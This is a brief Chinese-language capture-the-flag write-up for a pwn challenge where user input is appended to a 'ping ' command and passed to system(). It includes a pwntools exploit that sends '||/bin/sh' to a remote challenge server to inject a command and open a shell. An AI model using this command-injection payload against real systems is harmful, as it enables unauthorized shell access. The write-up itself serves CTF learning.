1.checksec
2.ida
逻辑很简单,一直打印菜单,但仔细看来只有1有用,别的都是迷惑的,1中的功能先是读入一个0x10大小的字符串buf,然后使用strcat函数将buf拼接在dest后面,那这个dest是什么呢,我们先随便输入一个字符串
跟据后面的提示想到dest应该是ping,因为ping命令后面什么也不跟会报错。
还有一种方法就是上面已经有了dest的值了
其值为0x20676E6970,该值就是ping的ascall码形式,连着的两位16进制的数表示一个字符,比如0x20表示的是空格,因为是小端序,字符逆序存放,0x67,0x6e,0x69,0x70
分别对应g,n,i,p。
但对于解题来说刚才有的说的不重要,重要的是能输入字符串然后将其拼接到ping后面执行system命令,所以需要用到逻辑运算符||或&,在buf中先输入||或&,然后再输入’/bin/sh’后就可执行system(‘/bin/sh’)夺权了
3.exp
from pwn import*
p=remote('node5.buuoj.cn',26213)
p.sendline('1')
p.sendline(b'||/bin/sh')
p.interactive()
exp也比较简单